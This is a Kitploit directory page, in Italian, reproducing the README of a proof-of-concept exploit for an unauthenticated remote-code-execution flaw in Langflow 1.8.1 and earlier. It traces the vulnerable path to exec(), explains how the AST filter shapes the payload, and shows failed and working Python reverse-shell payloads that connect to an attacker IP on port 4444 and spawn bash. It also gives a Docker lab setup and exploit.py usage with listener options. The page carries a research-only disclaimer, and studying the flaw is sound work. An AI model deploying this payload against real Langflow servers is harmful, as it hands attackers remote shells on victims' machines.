Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-33017 — PoC exploit per una RCE non autenticata in Langflow <=1.8.1, che include analisi della causa principale a livello di sorgente, payload di reverse shell basato su AST, lab Docker, diff della patch e regole di rilevamento. | Kitploit
Strumenti/GitHubGitHub/lxxexxbxx/cve-2026-33017
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneSviluppo PayloadLab e Pratica
GitHublxxexxbxx/cve-2026-33017

CVE-2026-33017

PoC exploit per una RCE non autenticata in Langflow <=1.8.1, che include analisi della causa principale a livello di sorgente, payload di reverse shell basato su AST, lab Docker, diff della patch e regole di rilevamento.

Vedi Repository
11101 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-33017 — PoC RCE non autenticata di Langflow

Disclaimer
Questo repository è stato creato a scopo di ricerca e formazione sulla sicurezza.
Utilizzarlo esclusivamente in ambienti di laboratorio isolati.
L'uso su sistemi non autorizzati costituisce una violazione della legge sulle reti di comunicazione e informazione ed è passibile di sanzioni penali.


1. Panoramica della vulnerabilità

VoceDettaglio
CVE IDCVE-2026-33017
Software vulnerabileLangflow (costruttore di workflow AI)
Versioni interessateLangflow ≤ 1.8.1
Versione con patchLangflow ≥ 1.9.0
Tipo di vulnerabilitàEsecuzione remota di codice (RCE) non autenticata
CWECWE-306 (Missing Authentication for Critical Function)
CVSS9.3 (Critical)
CISA KEVInclusa

2. Analisi della causa della vulnerabilità

2-1. Endpoint vulnerabile

POST /api/v1/build_public_tmp/{flow_id}/flow

È un endpoint destinato alla creazione di flussi pubblici, progettato per essere accessibile senza autenticazione.

2-2. Percorso di esecuzione del codice (Call Chain)

Percorso di esecuzione verificato tracciando direttamente il codice sorgente:

HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
    │
    ▼
langflow/api/v1/chat.py — build_public_tmp()
    data = request.body["data"]          ← riceve l'input del cliente così com'è (vulnerabilità)
    │
    ▼
langflow/api/build.py — start_flow_build()
    data = FlowDataRequest               ← inoltra i dati del cliente così come sono
    │
    ▼
lfx/custom/eval.py — eval_custom_component_code()
    class_name = validate.extract_class_name(code)
    return validate.create_class(code, class_name)
    │
    ▼
lfx/custom/validate.py — create_class()
    module = ast.parse(code)
    exec_globals = prepare_global_scope(module)
    │
    ▼
lfx/custom/validate.py — prepare_global_scope()
    exec(compiled_code, exec_globals)    ← esecuzione di codice arbitrario

2-3. Filtraggio dei nodi AST — vincolo fondamentale per la progettazione del payload

La funzione prepare_global_scope() non esegue tutte le istruzioni del codice inviato. Dopo il parsing AST, seleziona ed esegue solo tipi di nodo specifici:

# lfx/custom/validate.py — interno di prepare_global_scope()
for node in module.body:
    if isinstance(node, ast.Import):
        imports.append(node)
    elif isinstance(node, ast.ImportFrom):
        import_froms.append(node)
    elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
        definitions.append(node)
    # ↑ Il nodo Expr non è incluso in nessun ramo → non viene eseguito

exec(compiled_code, exec_globals)  # vengono eseguite solo definitions

Tipi di nodo AST eseguibili:

Tipo di nodo ASTEsempioEsecuzione
FunctionDefdef _shell(): ...✅ Eseguito
ClassDefclass ExploitComponent(Component)✅ Eseguito
Assign_r = os.system("id")✅ Eseguito
AnnAssign_r: int = os.system("id")✅ Eseguito
Expros.system("id") (chiamata singola)❌ Ignorato

Conclusione: il payload deve essere obbligatoriamente scritto nella forma Assign (_r = ...) per essere eseguito.
Una semplice chiamata di funzione (os.system("id")) viene classificata come nodo Expr e filtrata.

2-4. Processo di progettazione del payload di reverse shell — analisi dei tentativi e dei fallimenti

Durante l'esercitazione sono stati provati diversi approcci di payload e per ciascun fallimento la causa è stata individuata a livello di sorgente.

Tentativo 1 — subprocess.Popen + wait() (fallito)

_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait()   # ← bloccante qui

Causa del fallimento: il thread worker di Langflow, monitorando il valore di ritorno del componente, chiude forzatamente la socket al timeout. Il blocco di _proc.wait() diventa inutile.

Tentativo 2 — chiamata diretta a os.execve() (fallito)

os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())

Causa del fallimento: secondo le regole POSIX, in un processo multithread la chiamata a execve() termina tutti i thread tranne quello chiamante → crash dell'intero worker uvicorn → HTTP 500.

Tentativo 3 — os.fork() + execve() (fallito)

_pid = os.fork()
if _pid == 0:
    os.execve("/bin/bash", ...)

Causa del fallimento: uvicorn rileva la terminazione anomala del processo figlio e riavvia il worker → HTTP 500.

Tentativo 4 — threading.Thread(daemon=True) (fallito)

threading.Thread(target=_shell, daemon=True).start()

Causa del fallimento: un thread con daemon=True viene distrutto insieme al thread principale (worker Langflow) quando termina. Il thread muore prima del tentativo di connect().

Payload funzionante finale — threading.Thread(daemon=False) + Assign

# FunctionDef → eseguito
def _shell():
    _s = socket.socket()
    _s.connect(("attacker_ip", 4444))
    _p = subprocess.Popen(["/bin/bash", "-i"],
        stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
    _p.wait()
    _s.close()

# Assign → eseguito (le chiamate Expr isolate sono escluse dal filtro, quindi è obbligatoria l'assegnazione a una variabile)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()

Motivo della scelta di daemon=False:

  • daemon=True → viene distrutto insieme al thread worker di Langflow al termine
  • daemon=False → ciclo di vita indipendente dal worker → consente di mantenere attiva la connessione della socket

3. Configurazione dell'ambiente di laboratorio

3-1. Struttura dei file

CVE-2026-33017/
├── README.md
├── Dockerfile              # Ambiente Langflow 1.8.1 vulnerabile
├── Dockerfile.attacker     # Contenitore dell'attaccante (include curl, nc, net-tools)
├── docker-compose.yml      # Server vulnerabile + contenitore dell'attaccante
├── entrypoint.sh           # Avvio di Langflow e creazione automatica del flusso pubblico
├── exploit.py              # PoC di reverse shell
└── poc.py                  # Blind RCE / verifica dell'esistenza della vulnerabilità

3-2. Avvio dell'ambiente

# 1. Creazione e avvio dei contenitori
docker compose up --build

# 2. Verifica dell'accesso alla Web UI di Langflow
# http://localhost:7860
# admin / admin123!

# 3. Verifica degli IP dei contenitori
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'

3-3. Configurazione di rete

┌──────────────────────────────────────────────────┐
│  Docker Bridge Network: poc-net                  │
│                                                  │
│  langflow-vuln-lab   172.19.0.2:7860  (vittima)  │
│  langflow-attacker   172.19.0.3     (attaccante) │
└──────────────────────────────────────────────────┘

4. Utilizzo del PoC

4-1. exploit.py — reverse shell

Eseguire all'interno del contenitore dell'attaccante:

docker exec -it langflow-attacker bash

# Modalità automatica (emissione token + creazione flusso pubblico + listener integrato)
python3 exploit.py \
  --url http://172.19.0.2:7860 \
  --lhost 172.19.0.3 \
  --lport 4444

Opzioni:

Scarica lo strumento